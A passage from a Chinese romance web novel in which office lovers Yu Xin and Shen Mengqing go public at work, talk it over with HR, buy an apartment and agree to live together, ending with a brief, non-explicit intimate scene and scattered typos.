余辛在后头瞥了两眼她的鞋,一声不吭地越过她走到身前,蹲下说:“我背你。” “不用——” 沈孟青拒绝的话还没说完,余辛就直接将她反手一拉,背上了身。 高跟鞋滑落在地上,余辛勾腰捡起,用指尖勾着。 “鞋子给我吧。”沈孟青说。 两人进了电梯,楼层数匀速下降,余辛正要和沈孟青说话,电梯门却叮地一开,门前站了五六个同事。他们刚刚从会议室离开后,回办公室处理了些事情,因而这个点才下班回家。 没想到,会撞见这一幕。 沈孟青尴尬抿起嘴,笑着说:“你们刚下班啊。” 她说完,手上不停地拍着余辛,暗示他快放自己下来。 余辛却察觉不到一般,动也不动,只看着外头的人。 同事们怔愣了片刻,随后你看看我,我看看你,一人率先出声说:“哦!我还有个东西忘了拿,那个……余总,沈秘书,你们先下去吧。”—— 作者有话说:短暂的地下恋情被发现了嘎嘎嘎 同事们:天降大瓜 辛子:正合我意[害羞] 大家可以留言想看的番外!!我先挂上正文完结的标宝宝们[亲亲][亲亲]《 》 【正文完】 第66章 第六十六章 电梯门重新关上,沈孟青在方才拍余辛的地方拧了下,余辛夸张地嘶了声,倒吸一口气。 沈孟青瞪着他说:“我还以为你这块肉失去知觉呢,刚才拍了半天你都没反应。” 余辛把她往上托了托:“既然都被他们看见了,还放你下来做什么。” 沈孟青垂着头不说话,半晌后,叹了口气。 “怎么了?”余辛问她。 界如也i不是不吭声,余辛了然了几分:“怕了?” 沈孟青思忖了会,摇摇头:“也不是怕,就是有点担心。” “担心什么。”余辛沉沉说着,语气莫名地令人心安,“我明天找礼帆聊聊这事。如果有人说闲言碎语,你也别管,你只要记住,你什么也没做错。” “硬要说,那也是我勾引的你。” 沈孟青忍俊不禁,轻佻地勾了下余辛的下巴:“对自己的美色还挺自信。” 到了车子跟前,余辛伸手打开副驾驶的门,这才将沈孟青放下来。 沈孟青把鞋子放在脚边,看了眼脚后跟的情况,还好只是红肿了些,再多走点,说不定就真磨破个口子了。 汽车启动,沈孟青忙了一晚没怎么看手机,这会掏出来一条条新消息看去。突然。,以前她在销售部时加入的一个小群里,有人发了条“你们听说余和沈在一起了吗”,不过一秒,这条消息就撤回了。 估计是发现了她也在群里。 这消息传得真够快的。 没过多久,姜羽也听到了风声,找过来问她,是不是她和余辛公开了,身边的同事都在讨论,炸开了锅。 沈孟青无奈地和她讲了下前因后果,姜羽乐得透过屏幕沈孟青都能感觉到。 她丕记着上回他们在电梯接吻的事,调侃道: 「公开了也好,这样你们可以在公司光明正大地kiss了。J 沈孟青发了个滚的表情包过去。 —路开到她家楼下,余辛踩下刹车,给车子熄了火,自觉地准备背她回家。 沈孟青攀上他坚实的背,冬日的冷空气里,两人贴在—块,十分暖和。 进了电梯,沈孟青开口说道:“后天是周末,陪我去看房吧。” “好。”余辛说。 “你在家里等着,我来找你。”沈孟青神秘兮兮地说。 余辛歪了歪头,不知道她卖的什么关子。 今晚余辛不打算留宿,他把沈孟青好生送回家后,在她唇边落下一吻,才关门离开。 开车回了对面小区,余辛—到家,便和礼帆打去了电话。 礼帆接到电话时,刚辅导完小孩的功课,余辛很少在非工作时间打她电话,礼帆敏锐地察觉到了什么,问他道:“余总,怎么了?” 他开门见山地说:“手我和沈秘书在恋爱。” 礼帆:“……” 其实她早便看出来了这两人有纠葛,他们在面对对方的时候,是和对待别人全然不同的状态。放在以前,有办公室恋情的情况出现,她是要约来谈谈话的,如果是同一个项目或是同一个部门的同事,还会重点关注一下。 但是,她总不能越级约谈董事长。 “按照惯例,我得找沈秘书谈话。”礼帆扶额说。 余辛声色冷冷:“别找也了,和我谈。” 礼帆有点头疼,余辛是她上司,她没办法用以往的谈话技巧和他聊。 “那明天上午聊聊吧。”礼帆说道。 …… 第二天上午,礼帆去余辛办公室时,还经过了下沈孟青的工位。沈孟青没在意到她,埋头对着电脑忙工作。 礼帆不得不承认,对于秘书这个职位,沈孟青完成得很出色,今年的绩效评级,作为人事经理,她肯定会给到沈孟青高分。 进了董事长办公室,余辛见礼帆来了,放下手里的文件,走到沙发和她—同坐下。 余辛率先出了声:“你先说说看,之前这种情况─般怎么处理。” 礼帆和他讲述了—遍话术,余辛点点头,说:“这些我都考虑到了。” “但是你和别人不一样,如果你踏错一步,股东们就会施压。”礼帆想了想,还是决定说道,“除非,你是奔着结婚去的。你知道的,对于公司总裁来说,一个拥有良好且幸福家庭的男人形象才会对公司有利无害。” “你们俩的工作我不担心,沈孟青作为秘书,没有比她更出色的人选,这几个月来的工作成果也很可观,不至于为了这件事情调动她。但是你身上挂着整个公司的担子,如果你出了什么则性问题,那威胁到的是公司。” 礼帆中肯地分析道,余辛耸耸肩,站起身来踱步到办公桌前,转身往桌沿一靠:“放心,到时候喊你喝喜酒。” 他这保证性的话和喂狗粮没什么区别,礼帆挑了挑眉:“那就祝福你们喽,对沈秘书好点。” 就他这性子,除了陈墨能忍他,沈孟青能治他,礼帆是再不出新的人来当秘书或是助理了。 等礼帆走了,余辛给沈孟青发去消息: 「我和礼帆聊完了。」 沈孟青从电脑屏幕上移开眼,看见狗头上司的消息,嘴角弯了弯,好像该给他改个备注了。叫什么好呢。 她思索了会,指尖一动,点了个小狗的emoji上去。以后就根据她的心情来取前缀,如果让她高兴了,那就是好狗,让她生气了的话,那就是坏狗、臭狗。 沈孟青满意地切回聊天框,敲下: 「怎么样,没有为难你吧?」 余辛说: 「没有。」 「她也还让我对份好点,说以后要喝我们喜酒。」 沈孟青发了个白眼的表情去,说道: 「晚上我和姜羽吃饭,你自己回家吧,明天再见。」 收到她这话,余辛发来了个狗狗委屈的表情包,和这新备注还挺相衬。 忙碌了一天,沈孟青在下班后坐上姜羽的车,晚餐地点依旧是herberry,姜羽提前说好了,今晚是沈孟青的坦白局,不醉不归。 酒杯端了上来,两人碰杯浅酌了口后,姜羽问题就抛了出来:“你和余辛到底怎么认识的?” 沈孟青追溯了下去年五月时在便利店的初遇,简单描述了下当时的情景。 姜羽咂舌:“所以酒吧那次,你们也才认识不久?” 沈孟青颔首说:“是,那次真的是正好遇上了。” 姜羽梳理了下时间线,又问起他们是怎么对对方心动的。 沈孟青瞧了几眼她的脸色,把以前和余辛的炮/友关系和她坦白了,姜羽听完,震惊得快接收不过来这个信息量。 姜羽张嘴说道:“我那段时间还以为你下定决心断情绝爱了呢,没想到,是已经在被爱情滋润了啊。这么大的事你不告诉我,还当不当我是朋友了!” 沈孟青申明道:“当时没往爱情方面想,我是真的想回楚城,就觉得也没必要和你说。” “切,你还说余辛嘴硬,我看你也差不多。”姜羽撞了下沈孟青,“我看你那时候也爱上他了,只是你内心在预设不好的结果,所以逃避了真实的情感。” 沈孟青盯着杯壁上渐渐骨下的水珠,减默了会,说道:“的确。” “两个人能顺利在一起,总归是要走很多很多步的,要么你多点,要么他多点。不管过去如何,你们现在相爱,就够了。” 姜羽这单身了好几年的人抒发了—通爱情理论后,自我沉醉地和沈孟青碰了个杯。 很久没畅快地喝酒,两人今晚都很尽兴,姜羽喊来代驾后,硬是先将沈孟青送回了家,才自己回去。 沈孟青到家后,头昏脑胀,顾不得洗漱,倒在沙发上一沾枕头就睡着了。万幸她前一天设定好了闹钟,没有耽误正事。 被闹钟吵醒后,她起来洗了个澡,换了一套精致的套装,出了门去。 两个小时后,沈孟青给余辛打了个电话,让他到小区门口来。 余辛最近都住在福江路,他到门口时没看见沈孟青人影,正想打个电话,不远处一辆白色的奥迪车按了个喇叫。 车窗缓缓降下,沈孟青的脸露了出来,她喊道:“帅哥,上车吧。” 余辛哑然失笑,长腿—迈,跨身坐了上去。 新车里头还透着一股皮革和机油的味道,余辛吸了吸鼻子:“什么时候买的,都不告诉我。” 沈孟青戴着墨镜,神色奕奕:“这才叫惊喜好不好。安全带系上,姐带你飙车。” “这里可不是赛车场,出了事你负责。”余辛系上安全带,说道。 沈孟青下巴一挑:“不出事我也负责。” 这话倒是说得余辛心里熨贴,他高高大大一个人窝在副驾驶,起初还有些紧张,不太相信沈孟青这种平常不开车的人的技术。但坐久了之后,她开车平稳又规矩,他才沉下心来。 余辛提前问了问沈孟青的购房需求,约好了几个销售经理今天见面。 他们从最靠近市中心的楼盘先开始,再不断往远了看去,一共看了四五套房。 几乎每一个销售经理都以为他们是要购置婚房,在了解到是沈孟青要买属于自己的房子后,都不免夸她有婚前财产的意识。 余辛倒没什么不高兴的,他明白,沈孟青想在北城有一套房想了很久了,这一定对她很有意义。 沈孟青是个做事不喜欢拖沓的性子,看完了房之后,新车的司机换成了余辛,她在一旁对比着房源,打算今天就敲定下来,把首期款打过去。 她看着手机,喃喃道:“我还是喜欢靠近市中心这套,不论是小区环境还是房型,我都很满意,虽然面积小了些,但我也不需要太大面积的房子,再怎么也比我现在租的大多了。” “那就买。”余辛搭话说。 沈孟青撇撇嘴:“但我存款离首付还差点。” 余辛在红灯停下,伸手抚上沈孟青的后颈,捏了捏:“还差多少,我帮你填上。” 沈孟青说:“我不要。” 余辛闷哼—声,说道:“你以为这房子就你住呢,等你装修完了搬了家,我也要搬过去。” 沈孟青看向他,还想说什么,被他倾身─个吻堵了回去: “阿青,我们同居吧。和你在一起的每分每秒我都不想浪费,也不想每天大部分时间和你见面都是在公司。” 余辛怕她又找出别的理由,分析道:“等你买完了房,你就搬来我家住,这样也省了租房的钱,多划算。” 沈孟青望向窗外,其实她也想通了,每天两人互相跑来跑去也挺累的,住一起方便很多,公司那边也都公开了,没有什么顾虑。 但她这会特意不说话,吊着余辛的情绪不看他,余辛拽住她手腕,摇了又摇,眼看快要凑近她,在她脖子咬一口,沈孟青这才往后缩了缩,笑着说:“好,我答应你。” 余辛松开她,玩笑说:“明天就搬家。” “有这么急吗!”沈孟青嗔道。 两人回了福江路余辛的房子,点完外卖后,沈孟青最后再考虑了下,终于敲定市中心那套房。 余辛直接将首付款转给了销售经理,沈孟青拿出手机,点开银行app想把钱给余辛,却被他抬手按下。 余辛凝视着她,将她的手机往身旁—放:“我们先庆祝一下。” “怎么庆祝——” 沈孟青口中的话被余辛突如其来的攻势击碎,他呼吸沉沉,不由分说地撬开沈孟青的红唇皓齿,—步—步攻陷也的防线。 余辛将沈孟青打横抱起,往卧室里走去,沈孟青被他的气息包裹,身心舒展,卸了力一般挂在他身上。 她发丝凌乱地散在床铺上,余辛被她紧紧搂住,手却不受钳制地上下游走,像是在摘取清晨结下的饱满果实—般,沾满雨露,丰收而归。 沈孟青被他弄得昏头专向,张嘴在他肩头咬了下。 一个多小时过去,床单已然皱得不成样子,外卖孤零零地躺在门把手上,早已变凉。 沈孟青翻身·看见窗角的香薰,问余辛说:“你用的香薰和香水是什么牌子的,我上次看它上面只有个品类的英文名。” 余辛还搂着她,回答道:“是我在国外自己做的。” “自己做的?!” 沈孟青诧异说道。 她专过脸,朝向余辛:“它的名字也是你取的吗?” “嗯。”余辛应了声。 那时候他也没想好取什么名字,苦恼地思索了半天也没决定下来。 香水店老板坐在他身边,忽然在他坐着的垫子底下找到了一块拼图。原来,老板他前段时间买了个很大的拼图画,拼到最后,却发现有一块弄丢了,一直到那天,他才终于找到。 或许是受了启发,余辛灵光一闪,就取了the missing piece这个名字。 “你很喜欢那个味道的话,我带你去做。”余辛说道。 沈孟青回拥住他说:“好。” 余辛:“等你搬来,你就可以天天i闻到这个味道了。” 沈孟青:“知道。” 夜色渐深,余辛越过沈孟青的发尖,看见了窗外北城的万家灯火。 木质香味将两人席卷,他想,这个香氛的名字恰如其分。 如今,他也找到了那块缺失的拼图,用爱将他的生活填满。 You are the missing piece- 正文完-《 》